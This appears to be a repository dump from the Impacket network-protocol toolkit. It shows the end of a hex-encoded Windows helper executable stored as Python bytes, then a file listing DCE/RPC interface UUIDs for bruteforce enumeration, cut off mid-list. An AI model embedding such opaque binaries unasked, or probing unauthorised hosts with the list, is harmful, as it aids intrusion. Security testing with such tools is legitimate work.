\\\nb'6c467265650054035175657279506572666f726d616e6365436f756e74657200660247' \\\nb'65745469636b436f756e7400004f0247657453797374656d54696d65417346696c6554' \\\nb'696d65005b014765744350496e666f005201476574414350000013024765744f454d43' \\\nb'500000db02497356616c6964436f64655061676500f1024c6f61644c69627261727941' \\\nb'0000b502496e697469616c697a65437269746963616c53656374696f6e416e64537069' \\\nb'6e436f756e7400920352746c556e77696e64009d0248656170416c6c6f630054045669' \\\nb'727475616c416c6c6f630000a402486561705265416c6c6f6300df0353657446696c65' \\\nb'506f696e74657200008301476574436f6e736f6c65435000009501476574436f6e736f' \\\nb'6c654d6f64650000e8014765744c6f63616c65496e666f4100003d0247657453747269' \\\nb'6e67547970654100001a034d756c746942797465546f57696465436861720040024765' \\\nb'74537472696e6754797065570000e1024c434d6170537472696e67410000e3024c434d' \\\nb'6170537472696e67570000a6024865617053697a6500004101466c75736846696c6542' \\\nb'7566666572730000fc0353657453746448616e646c65000082045772697465436f6e73' \\\nb'6f6c6541009901476574436f6e736f6c654f7574707574435000008c04577269746543' \\\nb'6f6e736f6c655700780043726561746546696c65410000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000004ee640bbb119bf44000000000000' \\\nb'000001000000ffffffffffffffff032940000300000007000000780000000a00000001' \\\nb'0000001600000002000000020000000300000002000000040000001800000005000000' \\\nb'0d0000000600000009000000070000000c000000080000000c000000090000000c0000' \\\nb'000a000000070000000b000000080000000c000000160000000d000000160000000f00' \\\nb'000002000000100000000d00000011000000120000001200000002000000210000000d' \\\nb'0000003500000002000000410000000d00000043000000020000005000000011000000' \\\nb'520000000d000000530000000d0000005700000016000000590000000b0000006c0000' \\\nb'000d0000006d00000020000000700000001c0000007200000009000000060000001600' \\\nb'0000800000000a000000810000000a0000008200000009000000830000001600000084' \\\nb'0000000d00000091000000290000009e0000000d000000a100000002000000a4000000' \\\nb'0b000000a70000000d000000b700000011000000ce00000002000000d70000000b0000' \\\nb'00180700000c0000000c0000000800000000fe40000000000000fe4000010100000000' \\\nb'0000000000000010000000000000000000000000000000000000020000000100000000' \\\nb'0000000000000000000000000000000000000000000000020000000200000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'00000000000000000000000000000000000000000000000000000088b3400078b34000' \\\nb'0200000018b9400008000000ecb8400009000000c0b840000a00000028b84000100000' \\\nb'00fcb7400011000000ccb7400012000000a8b74000130000007cb740001800000044b7' \\\nb'4000190000001cb740001a000000e4b640001b000000acb640001c00000084b640001e' \\\nb'00000064b640001f00000000b6400020000000c8b5400021000000d0b4400022000000' \\\nb'30b440007800000020b440007900000010b440007a00000000b44000fc000000fcb340' \\\nb'00ff000000ecb34000ffffffff800a0000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000001000000000000000000000000100000000000000010000000000000000000000' \\\nb'0000000001000000000000000100000000000000000000000000000001000000000000' \\\nb'0001000000000000000100000000000000000000000000000001000000000000000000' \\\nb'0000000000000100000000000000010000000000000001000000000000000000000000' \\\nb'0000000100000000000000010000000000000001000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000004be4000000000004300000000000000' \\\nb'0100000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'00000000000000000000000000000000000050e6400000000000000000000000000050' \\\nb'e6400000000000000000000000000050e6400000000000000000000000000050e64000' \\\nb'00000000000000000000000050e6400000000000000000000000000001000000010000' \\\nb'0000000000000000000000000058ed4000000000000000000000bc400088c0400008c2' \\\nb'400098ec400058e640000100000058e6400040e7400000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000101010101010101010101010101010101010101010101010' \\\nb'1010000000000000202020202020202020202020202020202020202020202020202000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'000000000000000000000000000000000000000000006162636465666768696a6b6c6d' \\\nb'6e6f707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f50' \\\nb'5152535455565758595a00000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000101010101010101010101010101010101010101010101010101000000000000020' \\\nb'2020202020202020202020202020202020202020202020202000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'00000000000000000000000000000000000000006162636465666768696a6b6c6d6e6f' \\\nb'707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f505152' \\\nb'535455565758595a000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0040e7400001020408a4030000608279822100000000000000a6df000000000000a1a5' \\\nb'000000000000819fe0fc00000000407e80fc00000000a8030000c1a3daa32000000000' \\\nb'0000000000000000000000000000000000000081fe00000000000040fe000000000000' \\\nb'b5030000c1a3daa320000000000000000000000000000000000000000000000081fe00' \\\nb'000000000041fe000000000000b6030000cfa2e4a21a00e5a2e8a25b00000000000000' \\\nb'0000000000000000000081fe000000000000407ea1fe000000005105000051da5eda20' \\\nb'005fda6ada32000000000000000000000000000000000081d3d8dee0f90000317e81fe' \\\nb'000000003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40' \\\nb'003d8e40003d8e4000feffffff0000000000bc400002be400030c440002cc4400028c4' \\\nb'400024c4400020c440001cc4400018c4400010c4400008c4400000c44000f4c34000e8' \\\nb'c34000e0c34000d4c34000d0c34000ccc34000c8c34000c4c34000c0c34000bcc34000' \\\nb'b8c34000b4c34000b0c34000acc34000a8c34000a4c340009cc3400090c3400088c340' \\\nb'0080c34000c0c3400078c3400070c3400068c340005cc3400054c3400048c340003cc3' \\\nb'400038c3400034c3400028c3400014c3400008c3400009040000010000000000000098' \\\nb'ec40002e00000054ed4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000' \\\nb'd8fb4000d8fb4000d8fb40007f7f7f7f7f7f7f7f58ed4000010000002e000000010000' \\\nb'0000000000000000000300000020059319000000000000000000000000000000000000' \\\nb'00000000000002000000000000008070000001000000f0f1ffff000000005053540000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000005044540000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'000000000000000000000000000000000000d8ed400018ee4000ffffffff0000000000' \\\nb'000000ffffffff00000000000000000000000000000000fefffffffeffffffffffffff' \\\nb'1e0000003b0000005a0000007800000097000000b5000000d4000000f3000000110100' \\\nb'00300100004e0100006d010000ffffffff1e0000003a00000059000000770000009600' \\\nb'0000b4000000d3000000f2000000100100002f0100004d0100006c0100000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000400000000' \\\nb'0001001800000018000080000000000000000004000000000001000100000030000080' \\\nb'000000000000000004000000000001000904000048000000581001005a010000e40400' \\\nb'00000000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d' \\\nb'6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f' \\\nb'6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a73' \\\nb'6368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a20202020' \\\nb'3c73656375726974793e0d0a2020202020203c72657175657374656450726976696c65' \\\nb'6765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c65' \\\nb'76656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c' \\\nb'7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a202020' \\\nb'2020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f7365' \\\nb'6375726974793e0d0a20203c2f7472757374496e666f3e0d0a3c2f617373656d626c79' \\\nb'3e504150414444494e47585850414444494e4750414444494e47585850414444494e47' \\\nb'50414444494e47585850414444494e4750414444494e47585850414444494e47504144' \\\nb'44494e47585850414400100000a00100000d301e30253032303d30423047304e305830' \\\nb'5e3064306a30703077309c30a130aa30b130b730be30c330c930d230d730de30e830f7' \\\nb'300b31443154315e3171317d319131a231be31ca31ff3172328432a732c332cc321433' \\\nb'19331f33293333333d33433349334f3355335a3363336a3374337a3380338a3398339f' \\\nb'33a433cd33d433fc330e34403450347c3484348934ac34b134b634c834cd34d234dd34' \\\nb'f8341235323550357735aa350736653689369136de36ec36f2361b375d3764376b3770' \\\nb'3776377c3785378c37a937b137ef37063815381d383638413849385d3864386c387b38' \\\nb'84389438ae38bd38c53830393739583960397039e039f039003a0b3a363ae33aee3aa0' \\\nb'3b323c573c683c6f3c753c873c8f3c9a3ceb3cf03cfa3c343d393d403d463dbc3dc23d' \\\nb'c83dce3dd43dda3de13de83def3df63dfd3d043e0b3e133e1b3e233e2f3e383e3d3e43' \\\nb'3e4d3e563e613e6d3e723e823e873e8d3e933ea93eb03ebe3ec43ecf3edb3ef03ef73e' \\\nb'0b3f123f393f3f3f4a3f563f6b3f723f863f8d3fa53fb63fbc3fc73fd13fd73fe33ff2' \\\nb'3ff83f000000200000400100000d301e302a3038303e304a3050305d3067306e308630' \\\nb'95309c30a930cc30e130073147314d3177317d319931b131d731513274327e32b632be' \\\nb'320a331a3320332c333233423348335d336b3376337d3398339d33a533ab33b233b833' \\\nb'bf33c533cd33d433d933e133ea33f633fb33003406340a34103415341b3420342f3445' \\\nb'34503455346034653470347534823490349634a334c334c934e53498359d35af35cd35' \\\nb'e135e7355b3664369136ac36b236bb36c236e43643374b375e3769376e377e3788378f' \\\nb'379a37a337b937c437de37ea37f23702381738573864388e3893389e38a338c1387239' \\\nb'7f39a1391a3a203a393a3f3ae93a063b623b3c3c443c5c3c743ccb3ce93c053d283d3b' \\\nb'3d6a3d7c3dcb3dd13de23d0f3e183e243e5b3e643e703ea93eb23ebe3edd3eef3ec13f' \\\nb'cb3fd83ff33ffa3f0000003000006c000000123032303830523061306e307a308a3091' \\\nb'30a030ac30b930dd30ef30fd3012311c314231753184318d31b131e03122323432e032' \\\nb'e832fd320833ef339134af34d534353548356335ae389e39283b573b7c3b5f3d5b3f5f' \\\nb'3f633f673f6b3f6f3f733f773f00400000dc0000007f308630c8317d32c732cd32eb32' \\\nb'22333a3345336933723379338233c233c733ef33143439344c34643476349a34ba34c9' \\\nb'3401350b355b356635703581358c353f37503758375e3763376937d537db37f137fc37' \\\nb'13381f382c3833386a38b938cc38fe381739253939395a3960399239e939f139313a3b' \\\nb'3a633a7c3abd3aed3aff3a513b573b7a3b7f3ba03ba53bd93bde3bec3bfb3b1e3c2b3c' \\\nb'373c3f3c473c533c773c7f3c8a3c973c9e3ca83cd23ce03ce63c093d103d293d3d3d43' \\\nb'3d4c3d5f3d833d183e383e573e1c3f463f913fdd3f000000500000c00000002c307430' \\\nb'da30f13002313e31c63103321a328d339e33d833e533ef33fd330634103444344f3459' \\\nb'3472347c348f34b334ea341f353235a235bf3507367336923607371337263738375337' \\\nb'5b3763377a379337af37b837be37c737cc37db3702382b383c3852385d38d738f03819' \\\nb'391e3935398d39a939e039eb39f939fe39033a083a183a473a553a9c3aa13ae63aeb3a' \\\nb'f23af73afe3a033b723b7b3b813b0b3c1a3c293c323c473c773c983ca53cdd3ce93cf5' \\\nb'3d223e273e00600000b80000006a3078307e3098309d30ac30b530c230cd30df30f230' \\\nb'fd30033109310e31173134313a3145314a3152315831623169317d3184318a3198319f' \\\nb'31a431ad31ba31c031da31eb31f1310232673203360f3642366836a236e736ba38c538' \\\nb'cd38e238f43844394a396a39a139b239fb39573a6c3ab23ab83ac43a193b4c3b843bef' \\\nb'3bf53b463c4c3c703c933cc73ccd3cd93c203d343d553d613d883d953d9a3da83d833e' \\\nb'a63eb13ed43e233f883fb53f00000070000064000000ac31ca31393346335f337d33bb' \\\nb'33ea33a3340835bc35dc35cc36f5364e37dc38bc39853ab63acc3a0d3b2c3bc93bfd3b' \\\nb'2c3ca93c013d0f3d153d253d2a3d423d483d573d5d3d6c3d723d803d893d983d9d3da7' \\\nb'3db53df53d123e2f3e00800000cc000000003007300d30ca30ff3018311f3127312c31' \\\nb'303134315d318331a131a831ac31b031b431b831bc31c031c4310e32143218321c3220' \\\nb'3286329132ac32b332b832bc32c032e1320b333d33443348334c335033543358335c33' \\\nb'6033aa33b033b433b833bc33ab35bd35cf35f13503361536273639364b365d3670377a' \\\nb'3792379937a337ab37b837bf37ef378838fd38b939cb39d839e439ee39f639013a313a' \\\nb'613af83aa83bcb3b493c1a3d9d3dd53d183e1e3e523e5d3e803e443f513f6c3fd13fdd' \\\nb'3f000000900000c000000055306f307830ca30ff3018311f3127312c31303134315d31' \\\nb'8331a131a831ac31b031b431b831bc31c031c4310e32143218321c32203286329132ac' \\\nb'32b332b832bc32c032e1320b333d33443348334c335033543358335c336033aa33b033' \\\nb'b433b833bc337f34fb3427354f35863590351b3822384638563871389138e738f83833' \\\nb'394f39aa39b539e339f139003a0e3a163a233a413a4b3a543a5f3a743a7b3a813a973a' \\\nb'b23a573bc53bab3dc83df43d2d3e3a3e193f283f00a00000240000006e30ab30b530cd' \\\nb'30f6302a315931003206320b32113218322a32c03300b000001c000000943198319c31' \\\nb'a031a431b031b43168326c32000000c000005c000000bc34c034043508352835443548' \\\nb'356835743590359c35b435b835d835f8351436183634363836583678369836b836d836' \\\nb'f436f836183734373837583778379837b837d837e43700382038403860388038a038c0' \\\nb'3800e00000e80000001c30a031a831203424342c3434343c3444344c3454345c346434' \\\nb'6c3474347c3484348c3494349c34a434ac34b434bc34c434cc34d434dc344836b036c0' \\\nb'36d036e036f03614372037243728372c37303738373c37683b603c643c683c6c3c703c' \\\nb'743c783c7c3c803c843c903c943c983c9c3ca03ca43ca83cac3cb03cb43cb83cbc3cc0' \\\nb'3cc43cc83ccc3cd03cd43cd83cdc3ce03ce43ce83cec3cf03cf43cf83cfc3c003d043d' \\\nb'083d0c3d103d143d183d1c3d203d243d283d2c3d303d343d383d3c3d403d503d583d5c' \\\nb'3d603d643d683d6c3d703d743d783d7c3d883d583e5c3e000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'00000000000000000000'\n"
  },
  {
    "path": "impacket/examples/rpcdatabase.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A list of DCE/RPC UUIDs to bruteforce\n#\n# Author:\n#   Catalin Patulea <cat@vv.carleton.ca>\n#\nimport struct\n\nfrom impacket import uuid\nfrom impacket.dcerpc.v5.epm import KNOWN_UUIDS\n\nuuid_database = set(uuid.string_to_uuidtup(line) for line in \"\"\"\n00000001-0000-0000-c000-000000000046 v0.0\n00000131-0000-0000-c000-000000000046 v0.0\n00000132-0000-0000-c000-000000000046 v0.0\n00000134-0000-0000-c000-000000000046 v0.0\n00000136-0000-0000-c000-000000000046 v0.0\n00000141-0000-0000-c000-000000000046 v0.0\n00000143-0000-0000-c000-000000000046 v0.0\n000001a0-0000-0000-c000-000000000046 v0.0\n027947e1-d731-11ce-a357-000000000001 v0.0\n04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0\n06bba54a-be05-49f9-b0a0-30f790261023 v1.0\n0767a036-0d22-48aa-ba69-b619480f38cb v1.0\n0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0\n0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0\n0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0\n0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1\n0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0\n0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0\n0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0\n0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0\n0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0\n1088a980-eae5-11d0-8d9b-00a02453c337 v1.0\n10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0\n11220835-5b26-4d94-ae86-c3e475a809de v1.0\n12345678-1234-abcd-ef00-0123456789ab v1.0\n12345678-1234-abcd-ef00-01234567cffb v1.0\n12345778-1234-abcd-ef00-0123456789ab v0.0\n12345778-1234-abcd-ef00-0123456789ac v1.0\n12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0\n12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0\n12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0\n130ceefb-e466-11d1-b78b-00c04fa32883 v2.0\n1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0\n1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0\n16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0\n16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0\n17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0\n18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0\n1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0\n1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0\n1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0\n1c1c45ee-4395-11d2-b60b-00104b703efd v0.0\n1cbcad78-df0b-4934-b558-87839ea501c9 v0.0\n1d55b526-c137-46c5-ab79-638f2a68e869 v1.0\n1ff70682-0a51-30e8-076d-740be8cee98b v1.0\n201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0\n20610036-fa22-11cf-9823-00a0c911e5df v1.0\n209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0\n21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0\n2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0\n25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0\n266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0\n28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0\n2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0\n2eb08e3e-639f-4fba-97b1-14f878961076 v1.0\n2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0\n2f5f3220-c126-1076-b549-074d078619da v1.2\n2f5f6520-ca46-1067-b319-00dd010662da v1.0\n2f5f6521-ca47-1068-b319-00dd010662db v1.0\n2f5f6521-cb55-1059-b446-00df0bce31db v1.0\n2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0\n300f3532-38cc-11d0-a3f0-0020af6b0add v1.2\n326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0\n333a2276-0000-0000-0d00-00809c000000 v3.0\n338cd001-2244-31f1-aaaa-900038001003 v1.0\n342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0\n3473dd4d-2e88-4006-9cba-22570909dd10 v5.0\n3473dd4d-2e88-4006-9cba-22570909dd10 v5.1\n359e47c9-682e-11d0-adec-00c04fc2a078 v1.0\n367abb81-9844-35f1-ad32-98f038001003 v2.0\n369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0\n378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0\n386ffca4-22f5-4464-b660-be08692d7296 v1.0\n38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0\n3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0\n3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0\n3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0\n3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0\n3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0\n3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0\n3f77b086-3a17-11d3-9166-00c04f688e28 v1.0\n3f99b900-4d87-101b-99b7-aa0004007f07 v1.0\n3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0\n3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1\n41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0\n412f241e-c12a-11ce-abff-0020af6e7a17 v0.2\n423ec01e-2e35-11d2-b604-00104b703efd v0.0\n45776b01-5956-4485-9f80-f428f7d60129 v2.0\n45f52c28-7f9f-101a-b52b-08002b2efabe v1.0\n469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0\n4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0\n4a452661-8290-4b36-8fbe-7f4093a94978 v1.0\n4b112204-0e19-11d3-b42b-0000f81feb9f v1.0\n4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0\n4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0\n4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0\n4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0\n4f82f460-0e21-11cf-909e-00805f48a135 v4.0\n4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0\n50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0\n53e75790-d96b-11cd-ba18-08002b2dfead v2.0\n56c8504c-4408-40fd-93fc-afd30f10c90d v1.0\n57674cd0-5200-11ce-a897-08002b2e9c6d v0.0\n57674cd0-5200-11ce-a897-08002b2e9c6d v1.0\n5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0\n5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0\n5b821720-f63b-11d0-aad2-00c04fc324db v1.0\n5c89f409-09cc-101a-89f3-02608c4d2361 v1.1\n5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0\n5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0\n5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0\n6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0\n621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0\n629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0\n629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0\n63fbe424-2029-11d1-8db8-00aa004abd5e v1.0\n654976df-1498-4056-a15e-cb4e87584bd8 v1.0\n65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0\n68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0\n68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0\n69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0\n6bffd098-0206-0936-4859-199201201157 v1.0\n6bffd098-a112-3610-9833-012892020162 v0.0\n6bffd098-a112-3610-9833-46c3f874532d v1.0\n6bffd098-a112-3610-9833-46c3f87e345a v1.0\n6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0\n708cca10-9569-11d1-b2a5-0060977d8118 v1.0\n70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0\n76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0\n76f226c3-ec14-4325-8a99-6a46348418ae v1.0\n76f226c3-ec14-4325-8a99-6a46348418af v1.0\n77df7a80-f298-11d0-8358-00a024c480a8 v1.0\n7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2\n7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0\n7c857801-7381-11cf-884d-00aa004b2e24 v0.0\n7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0\n7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0\n7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0\n811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0\n8174bb16-571b-4c38-8386-1102b449044a v1.0\n82273fdc-e32a-18c3-3f78-827929dc23ea v0.0\n82980780-4b64-11cf-8809-00a004ff3128 v3.0\n82ad4280-036b-11cf-972c-00aa006887b0 v2.0\n83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0\n83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0\n86d35949-83c9-4044-b424-db363231fd0c v1.0\n894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0\n89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0\n8c7a6de0-788d-11d0-9edf-444553540000 v2.0\n8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0\n8cfb5d70-31a4-11cf-a7d8-00805f48a135 